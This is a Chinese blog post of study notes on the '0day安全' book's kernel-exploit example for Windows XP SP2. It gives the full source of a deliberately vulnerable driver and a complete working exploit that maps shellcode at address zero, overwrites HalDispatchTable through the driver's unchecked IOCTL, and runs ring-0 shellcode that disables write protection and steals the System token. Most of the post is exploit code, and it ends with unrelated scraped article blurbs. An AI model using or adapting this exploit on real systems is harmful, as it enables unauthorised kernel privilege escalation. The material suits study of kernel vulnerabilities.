<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    0day書中內核漏洞exploitme.sys的學習記錄

    一顆小胡椒2021-12-04 15:59:37

    前言

    本文是對0day安全這本書中,關于內核漏洞的入門的例子的學習分享。由于作者這一部分有一些細節沒有說清楚,所以看的時候挺懵的。查了一些資料以后算是比較完整的理解了下來,分享出來給新手看看。

    實驗環境是Win XP sp2。

    漏洞程序

    下面這段是對作者所說的具有的漏洞的驅動代碼,不過我對它進行了一些修改,可以更容易看懂。

    #include  #define DEVICE_NAME L"\\Device\\ExploitMe"#define DEVICE_LINK L"\\DosDevices\\ExploitMeLink"#define IOCTRL_BASE 0x800#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS) // 讀寫方式是其他類型#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0) VOID DriverUnload(IN PDRIVER_OBJECT driverObject);NTSTATUS DispatchCommon(PDEVICE_OBJECT pObj, PIRP pIrp);NTSTATUS DispatchIoCtrl(PDEVICE_OBJECT pObj, PIRP pIrp); NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath){    NTSTATUS status = STATUS_SUCCESS;    PDEVICE_OBJECT pDeviceObj = NULL;    UNICODE_STRING uDeviceName = RTL_CONSTANT_STRING(DEVICE_NAME);    UNICODE_STRING uSymbolinkName = RTL_CONSTANT_STRING(DEVICE_LINK);    ULONG i = 0;     // 創建設備    status = IoCreateDevice(driverObject,                             NULL,                             &uDeviceName,                             FILE_DEVICE_UNKNOWN,                             FILE_DEVICE_SECURE_OPEN,                             FALSE,                             &pDeviceObj);    if (!NT_SUCCESS(status))    {        DbgPrint("IoCreateDevice Error 0x%X\r", status);        goto exit;    }     // 設置數據交互方式    // pDeviceObj->Flags |= DO_BUFFERED_IO;   // 緩沖區方式讀寫    // pDeviceObj->Flags |= DO_DIRECT_IO; // 直接方式讀寫     // 創建符號鏈接    status = IoCreateSymbolicLink(&uSymbolinkName, &uDeviceName);    if (!NT_SUCCESS(status))    {        DbgPrint("IoCreateSymbolicLink Error 0x%X\r", status);        goto exit;    }     for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)    {        driverObject->MajorFunction[i] = DispatchCommon;    }    driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoCtrl;    DbgPrint("驅動加載成功\r"); exit:    driverObject->DriverUnload = DriverUnload;    return STATUS_SUCCESS;} NTSTATUS DispatchIoCtrl(PDEVICE_OBJECT pObj, PIRP pIrp){    NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;    PIO_STACK_LOCATION pIoStack = NULL;    ULONG uIoControlCode = 0, uInformation = 0, uInputLength = 0, uOutputLength = 0;    PVOID pInputBuffer = NULL, pOutputBuffer = NULL;                                       // 獲取設備棧    pIoStack = IoGetCurrentIrpStackLocation(pIrp);     // 獲取輸入緩沖區長度與輸入緩沖區    uInputLength = pIoStack->Parameters.DeviceIoControl.InputBufferLength;    pInputBuffer = pIoStack->Parameters.DeviceIoControl.Type3InputBuffer;     // 獲取輸出緩沖區長度與輸出緩沖區    uOutputLength = pIoStack->Parameters.DeviceIoControl.OutputBufferLength;    pOutputBuffer = pIrp->UserBuffer;      // 獲取控制碼    uIoControlCode = pIoStack->Parameters.DeviceIoControl.IoControlCode;     // 根據控制碼執行操作    switch(uIoControlCode)    {        case CTL_EXPLOIT_ME:        {            DbgPrint("CTL_EXPLOIT_ME");            if (uInputLength >= 4 && uOutputLength >= 4)            {                // 將輸入地址中的內容賦值到輸出地址中                *(PULONG)pOutputBuffer = *(PULONG)pInputBuffer;                uInformation = sizeof(ULONG);                status = STATUS_SUCCESS;            }            break;        }        default:        {            break;        }    }     pIrp->IoStatus.Information = uInformation;    pIrp->IoStatus.Status = status;    IoCompleteRequest(pIrp, IO_NO_INCREMENT);     return STATUS_SUCCESS;} NTSTATUS DispatchCommon(PDEVICE_OBJECT pObj, PIRP pIrp){    pIrp->IoStatus.Status = STATUS_SUCCESS;    pIrp->IoStatus.Information = 0;     IoCompleteRequest(pIrp, IO_NO_INCREMENT);     return STATUS_SUCCESS;} VOID DriverUnload(IN PDRIVER_OBJECT driverObject){    UNICODE_STRING uSymbolLinkName = RTL_CONSTANT_STRING(DEVICE_LINK);     if (driverObject->DeviceObject)    {        IoDeleteSymbolicLink(&uSymbolLinkName);        IoDeleteDevice(driverObject->DeviceObject);    }    DbgPrint("驅動卸載完成\r");}
    

    這段驅動代碼有以下兩個特點:

    1、沒有指定設備的數據交互方式,此時用戶層和這個驅動的交互就會是METHOD_NEITHER。而這種方式會對用戶層傳入的輸入輸出的地址不會進行處理,直接進行更改。

    2、在對應的控制碼的操作中,程序只是判斷輸入輸出的長度是否大于等于4。并沒有判斷輸入輸出的地址是否是合法的,地址中的內容是否是可以隨意更改的,直接就將輸入地址中的內容賦值到了輸出地址中。

    接下來通過一個正常的示例來看看這段驅動的作用。

    #include #include #include  #define LINK_NAME "\\\\.\\ExploitMeLink"#define IOCTRL_BASE 0x800#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS) // 讀寫方式是其他類型#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0)#define INPUT_BUFFER_LENGTH 4#define OUT_BUFFER_LENGTH 4 void ShowError(PCHAR msg); int main(){    HANDLE hDevice = NULL;    DWORD dwInput = 1900;    DWORD dwOutput = 0;    DWORD dwReturnLength = 0;     hDevice = CreateFile(LINK_NAME,                         GENERIC_READ | GENERIC_WRITE,                         0,                         NULL,                         OPEN_EXISTING,                         FILE_ATTRIBUTE_NORMAL,                         0);    if (hDevice == INVALID_HANDLE_VALUE)    {        ShowError("CreateFile");        goto exit;    }     printf("修改前的dwOutput:%d", dwOutput);    if (!DeviceIoControl(hDevice,                          CTL_EXPLOIT_ME,                          &dwInput,                          INPUT_BUFFER_LENGTH,                         &dwOutput,                         OUT_BUFFER_LENGTH,                         &dwReturnLength,                         NULL))    {        ShowError("DeviceIoControl");        goto exit;    }     printf("修改后的dwOutput:%d", dwOutput); exit:    system("pause");    return 0;} void ShowError(PCHAR msg){    printf("%s Error %d", msg, GetLastError());}
    

    在這段代碼中,將合法的輸入輸出地址也就是dwInput和dwOutput傳給了驅動。那么在驅動中,就會將dwInput中的內容賦值到dwOutput中。

    可以看到,驅動成功的將輸出地址中保存的內容賦值到輸入地址中。但是由于沒有對地址的合法性進行檢查,所以如果可以知道保存了系統函數的地址,就可以直接修改這個地址中保存的數據。這樣,當程序再次調用這個函數的時候,就會調用我們寫入的地址。這個手法和IAT Hook的的原理是一樣的,感興趣的話可以看看這篇Win PE系列之導入表解析與IAT Hook技術。

    作者給出的例子是,修改HAL_DISPATCH結構體中的HalQuerySuystemInformation的入口地址,將它改為0地址。這樣程序在調用這個函數的時候,就會調用0地址中保存的指令。而我們可以在0地址申請一段內存,并寫入想要執行的指令,這樣就達到了執行想要的指令的目的。

    那么要完成上面的內容,就要以下三個步驟:

    1、在0地址申請內存并寫入要執行的指令;

    2、找到保存HalQuerySystemInformation函數地址的地址,并通過驅動將函數地址改為0地址;

    3、調用HalQuerySystemInformation函數;

    接下來將對這三個步驟進行一一講解。

    漏洞利用

    1、在0地址申請內存,并寫入要執行的指令

    在這里,申請內存使用的內核API是ZwAllocateVirtualMemory,該函數的定義如下。

    NTSTATUS   NtAllocateVirtualMemory(    __in HANDLE  ProcessHandle,    __inout PVOID  *BaseAddress,    __in ULONG_PTR  ZeroBits,    __inout PSIZE_T  RegionSize,    __in ULONG  AllocationType,    __in ULONG  Protect );
    

    參數

    含義

    ProcessHandle

    要申請內存的進程句柄。使用NtCurrentProcess宏來指定當前進程

    BaseAddress

    期望內存基址指針。非0時,系統將計算此值得頁對齊地址,嘗試按照此地址塊申請內存。當該值等于0時,系統將尋找第一個未使用得內存塊。當函數調用成功時,此參數將接收實際得基址

    ZeroBits

    基址最高位為0得數量。當該值為0,此值將被忽略。

    RegionSize

    期望大小。系統計算實際基址與該值得頁對齊邊界,以實際分配大小。當函數調用成功時,此參數將接收實際分配得大小

    AllocationType

    指定要分配的頁類型

    Protect

    申請的頁屬性,這里選擇PAGE_EXECUTE_READWRITE,也就是可讀可寫可執行

    由參數的含義可以知道,要申請0地址的內存是不可以通過直接將BaseAddress指定為0的方式來實現。因為你將它指定為0,那么就會有系統來決定分配內存的區域。想要在0地址分配內存,需要用到MEM_TOP_DOWN這個頁類型,也就是第五個參數要包含MEM_TOP_DOWN這個頁類型。

    該類型的含義是將從盡可能高得地址分配內存。當第二個參數指定為一個比較小得數,比如1或者4這種,而第五個參數又帶有MEM_TOP_DOWN標志。那么根據頁對齊,此時會向上對齊,返回得BaseAddress就會是0且RegionSize將會是兩個頁的大小。

    2、找到函數HalQuerySystemInformation函數地址的保存地址

    要找到這個函數的保存地址,需要找到HalDispatchTable。該值是一個HAL_DISPATCH結構體遍歷,首先看看HAL_DISPATCH結構體的定義。

    typedef struct {    ULONG                           Version;    pHalQuerySystemInformation      HalQuerySystemInformation;    pHalSetSystemInformation        HalSetSystemInformation;    pHalQueryBusSlots               HalQueryBusSlots;    ULONG                           Spare1;    pHalExamineMBR                  HalExamineMBR;    pHalIoReadPartitionTable        HalIoReadPartitionTable;    pHalIoSetPartitionInformation   HalIoSetPartitionInformation;    pHalIoWritePartitionTable       HalIoWritePartitionTable;     pHalHandlerForBus               HalReferenceHandlerForBus;    pHalReferenceBusHandler         HalReferenceBusHandler;    pHalReferenceBusHandler         HalDereferenceBusHandler;     pHalInitPnpDriver               HalInitPnpDriver;    pHalInitPowerManagement         HalInitPowerManagement;     pHalGetDmaAdapter               HalGetDmaAdapter;    pHalGetInterruptTranslator      HalGetInterruptTranslator;     pHalStartMirroring              HalStartMirroring;    pHalEndMirroring                HalEndMirroring;    pHalMirrorPhysicalMemory        HalMirrorPhysicalMemory;    pHalEndOfBoot                   HalEndOfBoot;    pHalMirrorVerify                HalMirrorVerify;     pHalGetAcpiTable                HalGetCachedAcpiTable;    pHalSetPciErrorHandlerCallback  HalSetPciErrorHandlerCallback; #if defined(_IA64_)    pHalGetErrorCapList             HalGetErrorCapList;    pHalInjectError                 HalInjectError;#endif } HAL_DISPATCH, *PHAL_DISPATCH;
    

    根據改結構體的定義,可以看到HalQuerySystemInformation函數就保存在HAL_DISPATCH結構體偏移為0x04的地址。而HalDispatchTable是從內核模塊中導出的,所以要就需要找到內核模塊在內存中的基地址,再根據偏移得到HalDispatchTable的VA。而要找到內核模塊的基地址就需要用到ZwQuerySystemInformation這個API。該函數的定義如下:

    NTSTATUS WINAPI ZwQuerySystemInformation(  __in       SYSTEM_INFORMATION_CLASS SystemInformationClass,  __inout    PVOID SystemInformation,  __in       ULONG SystemInformationLength,  __out_opt  PULONG ReturnLength);
    

    參數

    含義

    SystemInformationClass

    要檢索的類型。是一個SYSTEM_INFORMATION_CLASS的聯合體

    SystemInformation

    指向緩沖區的指針,用于接收請求信息。該信息的大小和結構取決于SystemInformationClass

    SystemInformationLength

    SystemInformation參數指向的緩沖區的大小

    ReturnLength

    指向函數寫入所請求信息的實際大小的位置的可選指針。如果該大小小于或等于SystemInformationLength參數,則函數將信息復制到SystemInformation緩沖區中;否則,它將返回NTSTATUS錯誤代碼,并以ReturnLength的形式返回接收請求信息所需的緩沖區大小。

    而SYSTEM_INFORMATION_CLASS,在文檔中的部分內容如下:

    typedef enum _SYSTEM_INFORMATION_CLASS {    SystemInformationClassMin = 0,    SystemBasicInformation = 0,    SystemProcessInformation = 5,    SystemProcessesAndThreadsInformation = 5,    SystemModuleInformation = 11,    SystemExceptionInformation = 33,    SystemKernelDebuggerInformation = 35,} SYSTEM_INFORMATION_CLASS;
    

    當該值指定的是SystemModuleInformation(11)的時候,SystemInformation返回的就是SYSTEM_MODULE_INFORMATION的指針。改結構體的定義如下:

    typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {    ULONG    Unknown1;    ULONG    Unknown2;    PVOID  Base;    ULONG  Size;    ULONG  Flags;    USHORT  Index;  /* Length of module name not including the path, this     field contains valid value only for NTOSKRNL module */    USHORT  NameLength;    USHORT  LoadCount;    USHORT  PathLength;    CHAR  ImageName[256];} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct _SYSTEM_MODULE_INFORMATION {  ULONG  Count;  SYSTEM_MODULE_INFORMATION_ENTRY Module[1];} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
    

    可以看到SYSTEM_MODULE_INFORMATION中保存了SYSTEM_MODULE_INFORMATION_ENTRY的數組。數組中的每一個元數都保存了一個模塊的信息,其中的Base保存模塊的加載地址,ImageName保存了模塊的名稱。而本次查詢一共有多少個SYSTEM_MODULE_INFORMATION的數組則保存在Count中。

    由于,一開始并不知道要申請多大的內存才可以保存這些數據。所以,需要調用兩次函數,第一次調用的目的就是通過將第三個參數傳入0來獲得需要使用的內存大小。

    查詢到的內核模塊中的第一個就是要使用的內核模塊。這樣就可以獲得這個內核模塊的名稱,接下來就需要使用LdrLoadDll來將內核模塊導入,該函數的定義如下:

    #define IMP_SYSCALL __declspec(dllimport) NTSTATUS __stdcall IMP_SYSCALL LdrLoadDll(IN PWSTR DllPath OPTIONAL,        IN PULONG DllCharacteristics OPTIONAL,        IN PUNICODE_STRING DllName,        OUT PVOID *DllHandle);
    

    參數

    含義

    DllPath

    可選,指定要加載的DLL的路徑

    DllCharacteristics

    可選,指向要加載的DLL的屬性

    DllName

    指向要加載的DLL的名稱

    DllHandle

    用來接收得到的DLL的句柄

    通過這個函數就可以將模塊加載到內存中算出HalDispatchTable的偏移,在使用上面得到的ImageBase就可以計算機HalDispatchTable在內核中的具體位置,接下來就通過IO控制碼發送消息給驅動完成修改。

    3、調用HalQuerySystemInformation函數

    要調用這個函數,只需要調用NtQueryIntervalProfile函數的時候,它的第一個參數傳入的不等于ProfileTime和ProfileAlignmentFixup就好。

    ShellCode的提權原理

    首先要知道0xFFDFF000這個地址保存的是_KPCR,該結構體的定義如下:

    kd> dt _KPCRnt!_KPCR   +0x000 NtTib            : _NT_TIB   +0x01c SelfPcr          : Ptr32 _KPCR   +0x020 Prcb             : Ptr32 _KPRCB   +0x024 Irql             : UChar   +0x028 IRR              : Uint4B   +0x02c IrrActive        : Uint4B   +0x030 IDR              : Uint4B   +0x034 KdVersionBlock   : Ptr32 Void   +0x038 IDT              : Ptr32 _KIDTENTRY   +0x03c GDT              : Ptr32 _KGDTENTRY   +0x040 TSS              : Ptr32 _KTSS   +0x044 MajorVersion     : Uint2B   +0x046 MinorVersion     : Uint2B   +0x048 SetMember        : Uint4B   +0x04c StallScaleFactor : Uint4B   +0x050 DebugActive      : UChar   +0x051 Number           : UChar   +0x052 Spare0           : UChar   +0x053 SecondLevelCacheAssociativity : UChar   +0x054 VdmAlert         : Uint4B   +0x058 KernelReserved   : [14] Uint4B   +0x090 SecondLevelCacheSize : Uint4B   +0x094 HalReserved      : [16] Uint4B   +0x0d4 InterruptMode    : Uint4B   +0x0d8 Spare1           : UChar   +0x0dc KernelReserved2  : [17] Uint4B   +0x120 PrcbData         : _KPRCB
    

    該結構體偏移0x120處保存的是_KPCB結構體,該結構體的部分定義如下:

    kd> dt _KPRCBntdll!_KPRCB   +0x000 MinorVersion     : Uint2B   +0x002 MajorVersion     : Uint2B   +0x004 CurrentThread    : Ptr32 _KTHREAD   +0x008 NextThread       : Ptr32 _KTHREAD   +0x00c IdleThread       : Ptr32 _KTHREAD   +0x010 Number           : Char
    

    據此可以知道0xFFDFF124保存的是當前線程的_KTHREAD,而_KTHREAD又是_ETHREAD結構體中的第一個成員,所以0xFFDFF124保存的其實是當前_ETHREAD結構體。_ETHREAD結構體中保存的內容如下:

    kd> dt _ETHREADntdll!_ETHREAD   +0x000 Tcb              : _KTHREAD   +0x1c0 CreateTime       : _LARGE_INTEGER   +0x1c0 NestedFaultCount : Pos 0, 2 Bits   +0x1c0 ApcNeeded        : Pos 2, 1 Bit   +0x1c8 ExitTime         : _LARGE_INTEGER   +0x1c8 LpcReplyChain    : _LIST_ENTRY   +0x1c8 KeyedWaitChain   : _LIST_ENTRY   +0x1d0 ExitStatus       : Int4B   +0x1d0 OfsChain         : Ptr32 Void   +0x1d4 PostBlockList    : _LIST_ENTRY   +0x1dc TerminationPort  : Ptr32 _TERMINATION_PORT   +0x1dc ReaperLink       : Ptr32 _ETHREAD   +0x1dc KeyedWaitValue   : Ptr32 Void   +0x1e0 ActiveTimerListLock : Uint4B   +0x1e4 ActiveTimerListHead : _LIST_ENTRY   +0x1ec Cid              : _CLIENT_ID   +0x1f4 LpcReplySemaphore : _KSEMAPHORE   +0x1f4 KeyedWaitSemaphore : _KSEMAPHORE   +0x208 LpcReplyMessage  : Ptr32 Void   +0x208 LpcWaitingOnPort : Ptr32 Void   +0x20c ImpersonationInfo : Ptr32 _PS_IMPERSONATION_INFORMATION   +0x210 IrpList          : _LIST_ENTRY   +0x218 TopLevelIrp      : Uint4B   +0x21c DeviceToVerify   : Ptr32 _DEVICE_OBJECT   +0x220 ThreadsProcess   : Ptr32 _EPROCESS   +0x224 StartAddress     : Ptr32 Void   +0x228 Win32StartAddress : Ptr32 Void
    

    可以看到_ETHREAD偏移0x200的地址,保存的是線程對應的_EPROCESS結構體,該結構體的部分成員如下:

    kd> dt _EPROCESSntdll!_EPROCESS   +0x000 Pcb              : _KPROCESS   +0x06c ProcessLock      : _EX_PUSH_LOCK   +0x070 CreateTime       : _LARGE_INTEGER   +0x078 ExitTime         : _LARGE_INTEGER   +0x080 RundownProtect   : _EX_RUNDOWN_REF   +0x084 UniqueProcessId  : Ptr32 Void   +0x088 ActiveProcessLinks : _LIST_ENTRY   +0x090 QuotaUsage       : [3] Uint4B   +0x09c QuotaPeak        : [3] Uint4B   +0x0a8 CommitCharge     : Uint4B   +0x0ac PeakVirtualSize  : Uint4B   +0x0b0 VirtualSize      : Uint4B   +0x0b4 SessionProcessLinks : _LIST_ENTRY   +0x0bc DebugPort        : Ptr32 Void   +0x0c0 ExceptionPort    : Ptr32 Void   +0x0c4 ObjectTable      : Ptr32 _HANDLE_TABLE   +0x0c8 Token            : _EX_FAST_REF   +0x0cc WorkingSetLock   : _FAST_MUTEX
    

    其中需要注意的三個成員是:

    偏移

    成員

    含義

    0x84

    UniqueProcessId

    進程PID

    0x88

    ActiveProcessLinks

    雙向鏈表可以用來遍歷進程

    0xC8

    Token

    保存了進程的令牌

    所以作者給的ShellCode的提權辦法是通過0x88這個成員來遍歷所有的進程,去尋找System。因為System進程的PID都是等于4,如下圖所示,所以通過判斷0x84保存的進程PID是否是4來判斷是否找到了System進程。隨后將System進程的Token賦值給本進程這就完成了提權。

    如果對這個遍歷進程的原理不太清楚的可以看下這一篇文章,下面有關于這種進程遍歷原理的描述進程隱藏技術(https://bbs.pediy.com/thread-269919.htm)

    完整的完成漏洞利用達到提權的代碼如下:

    // exploit.cpp : 此文件包含 "main" 函數。程序執行將在此處開始并結束。// #include #include #include #include "ntapi.h"#pragma comment(linker, "/defaultlib:ntdll.lib") #define LINK_NAME "\\\\.\\ExploitMeLink"#define IOCTRL_BASE 0x800#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS) // 讀寫方式是其他類型#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0)#define INPUT_BUFFER_LENGTH 4#define OUT_BUFFER_LENGTH 4#define PAGE_SIZE 0x1000#define KERNEL_NAME_LENGTH 0X0D void ShowError(PCHAR msg, NTSTATUS status);NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength); BOOL g_bIsExecute = FALSE; int main(){    NTSTATUS status = STATUS_SUCCESS;    HANDLE hDevice = NULL;    DWORD dwReturnLength = 0, ShellCodeSize = PAGE_SIZE;    PVOID ShellCodeAddress = NULL;    PSYSTEM_MODULE_INFORMATION pModuleInformation = NULL;    DWORD dwImageBase = 0;    PVOID pMappedBase = NULL;    UCHAR szImageName[KERNEL_NAME_LENGTH] = { 0 };    UNICODE_STRING uDllName;    PVOID pHalDispatchTable = NULL, pXHalQuerySystemInformation = NULL;    DWORD dwDllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;         // 獲得0地址的內存    ShellCodeAddress = (PVOID)sizeof(ULONG);    status = NtAllocateVirtualMemory(NtCurrentProcess(),                                      &ShellCodeAddress,                                     0,                                     &ShellCodeSize,                                     MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN,                                     PAGE_EXECUTE_READWRITE);    if (!NT_SUCCESS(status))    {        printf("NtAllocateVirtualMemory Error 0x%X", status);        goto exit;    }         // 將ShellCode寫到申請的0地址空間中    RtlMoveMemory(ShellCodeAddress, (PVOID)Ring0ShellCode, ShellCodeSize);             // 此時dwReturnLength是0,所以函數會由于長度為0執行失敗    // 然后系統會在第四個參數指定的地址保存需要的內存大小    status = ZwQuerySystemInformation(SystemModuleInformation,                                      pModuleInformation,                                      dwReturnLength,                                      &dwReturnLength);     if (status != STATUS_INFO_LENGTH_MISMATCH)    {        ShowError("ZwQuerySystemInformation", status);        goto exit;    }     // 按頁大小對齊    dwReturnLength = (dwReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);    pModuleInformation = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL,                                                                   dwReturnLength,                                                                   MEM_COMMIT | MEM_RESERVE,                                                                  PAGE_READWRITE);    if (!pModuleInformation)    {        printf("VirtualAlloc Error");        goto exit;    }     status = ZwQuerySystemInformation(SystemModuleInformation,                                      pModuleInformation,                                      dwReturnLength,                                      &dwReturnLength);    if (!NT_SUCCESS(status))    {        ShowError("ZwQuerySystemInformation", status);        goto exit;    }         // 模塊加載的基地址    dwImageBase = (DWORD)(pModuleInformation->Module[0].Base);     // 獲取模塊名    RtlMoveMemory(szImageName,                  (PVOID)(pModuleInformation->Module[0].ImageName + pModuleInformation->Module[0].PathLength),                  KERNEL_NAME_LENGTH);    // 轉換為UNICODE_STRING類型    RtlCreateUnicodeStringFromAsciiz(&uDllName, (PUCHAR)szImageName);     status = (NTSTATUS)LdrLoadDll(NULL,                                  &dwDllCharacteristics,                                  &uDllName,                                  &pMappedBase);     if (!NT_SUCCESS(status))    {        ShowError("LdrLoadDll", status);        goto exit;    }     // 獲取內核HalDispatchTable函數表地址    pHalDispatchTable = GetProcAddress((HMODULE)pMappedBase, "HalDispatchTable");     if (pHalDispatchTable == NULL)    {        printf("GetProcAddress Error");        goto exit;    }     pHalDispatchTable = (PVOID)((DWORD)pHalDispatchTable - (DWORD)pMappedBase + dwImageBase);    pXHalQuerySystemInformation = (PVOID)((DWORD)pHalDispatchTable + sizeof(ULONG));     // 打開驅動設備    hDevice = CreateFile(LINK_NAME,                         GENERIC_READ | GENERIC_WRITE,                         0,                         NULL,                         OPEN_EXISTING,                         FILE_ATTRIBUTE_NORMAL,                         0);    if (hDevice == INVALID_HANDLE_VALUE)    {        printf("CreateFile Error");        goto exit;    }      DWORD dwInput = 0;    // 與驅動設備進行交互    if (!DeviceIoControl(hDevice,                          CTL_EXPLOIT_ME,                          &dwInput,                          INPUT_BUFFER_LENGTH,                         pXHalQuerySystemInformation,                         OUT_BUFFER_LENGTH,                         &dwReturnLength,                         NULL))    {        printf("DeviceIoControl Error");        goto exit;    }     status = NtQueryIntervalProfile(ProfileTotalIssues, NULL);    if (!NT_SUCCESS(status))    {        ShowError("NtQueryIntervalProfile", status);        goto exit;    }     if (g_bIsExecute) printf("Ring0 代碼執行完成"); exit:    if (pModuleInformation) VirtualFree(pModuleInformation, dwReturnLength, MEM_DECOMMIT | MEM_RELEASE);    if (hDevice) NtClose(hDevice);    if (pMappedBase) LdrUnloadDll(pMappedBase);    system("pause");    return 0;} NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength){    // 關閉頁保護    __asm    {        cli        mov eax, cr0        and eax, ~0x10000        mov cr0, eax    }     __asm    {        // 取當前線程        mov eax, 0xFFDFF124        mov eax, [eax]        // 取線程對應的EPROCESS        mov esi, [eax + 0x220]        mov eax, esisearchXp:        mov eax, [eax + 0x88]        sub eax, 0x88        mov edx, [eax + 0x84]        cmp edx, 0x4        jne searchXp        mov eax, [eax + 0xC8]        mov [esi + 0xC8], eax    }     // 開起頁保護    __asm    {        mov eax, cr0        or eax, 0x10000        mov cr0, eax        sti    }     g_bIsExecute = TRUE;} void ShowError(PCHAR msg, NTSTATUS status){    printf("%s Error 0x%X", msg, status);}
    

    運行結果

    可以看到,最終程序成功獲得了System的權限。

    函數調用結構體類型
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    源碼分析1、LLVM編譯器簡介LLVM 命名最早源自于底層虛擬機的縮寫,由于命名帶來的混亂,LLVM就是該項目的全稱。LLVM 核心庫提供了與編譯器相關的支持,可以作為多種語言編譯器的后臺來使用。自那時以來,已經成長為LLVM的主干項目,由不同的子項目組成,其中許多是正在生產中使用的各種 商業和開源的項目,以及被廣泛用于學術研究。
    Win32k組件最初的設計和編寫是完全建立的用戶層上的,但是微軟在 Windows NT 4.0 的改變中將 Win32k.sys 作為改變的一部分而引入,用以提升圖形繪制性能并減少 Windows 應用程序的內存需求。窗口管理器(User)和圖形設備接口(GDI)在極大程度上被移出客戶端/服務端運行時子系統(CSRSS)并被落實在它自身的一個內核模塊中。
    Go:Channel使用模式
    2022-07-20 11:05:42
    有幾種重要的channel模式需要理解,因為channel實現了Goroutine之間的通信。等待結果模式這是channel的基本使用模式,創建一個goroutine來執行任務,然后將執行結果通過channel通知到對應的其他Goroutine。
    概述在windows系統上,涉及到內核對象的功能函數,都需要從應用層權限轉換到內核層權限,然后再執行想要的內核函數,最終將函數結果返回給應用層。本文就是用OpenProcess函數來觀察函數從應用層到內核層的整體調用流程。OpenProcess函數,根據指定的進程ID,返回進程句柄。NTSTATUS Status; //保存函數執行狀態。OBJECT_ATTRIBUTES Obja; //待打開對象的對象屬性。HANDLE Handle; //存儲打開的句柄。CLIENT_ID ClientId; //進程、線程ID. dwDesiredAccess, //預打開進程并獲取對應的權限。ObjectNamePresent = ARGUMENT_PRESENT ; //判斷對象名稱是否為空
    從補丁可以認識一個漏洞的觸發源。 查看github中的補丁信息Fixed chunk size parsing. · nginx/nginx@818807d (github.com)如下:
    作為一只網安新人小白,在RCE方向上的求知經高人指點落腳在了Struts2上。
    target_func: sark.Function 類型,表示要查找交叉引用關系的目標函數對象。max_depth: int 類型,表示查找引用關系的最大深度。② 然后根據 include_data_xref 的設置,獲取該函數中所有的引用 refes。③ 遍歷函數的所有引用 ref,如果該引用 ref 指向目標函數,則在有向圖 G 中通過 add_edge 函數添加一條從當前函數到目標函數的邊,并返回 True。④ 如果引用指向另一個函數,則遞歸調用 find_cross_refs 函數查找兩個函數之間的交叉引用關系。⑤ 如果所有引用遍歷完,仍然沒有找到交叉引用,則返回 False。
    在當前CTF比賽中,“偽造IO_FILE”是pwn題里一種常見的利用方式,并且有時難度還不小。
    通過使用根據給定語法執行突變的庫來啟用結構感知模糊測試,進而達成更細致化模糊數據處理的第三方組件,一般由模糊測試人員自己開發編寫。對于xml等固定文件格式的testcase時就需要編寫mutator進行精細化fuzzing。總的來說是調用了lxml來編寫xml型的mutator:from?
    在所有函數調用發生時,向棧幀內壓入一個額外的隨機 DWORD,隨機數標注為“SecurityCookie”。在函數返回之前,系統將執行一個額外的安全驗證操作,被稱做 Security check。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类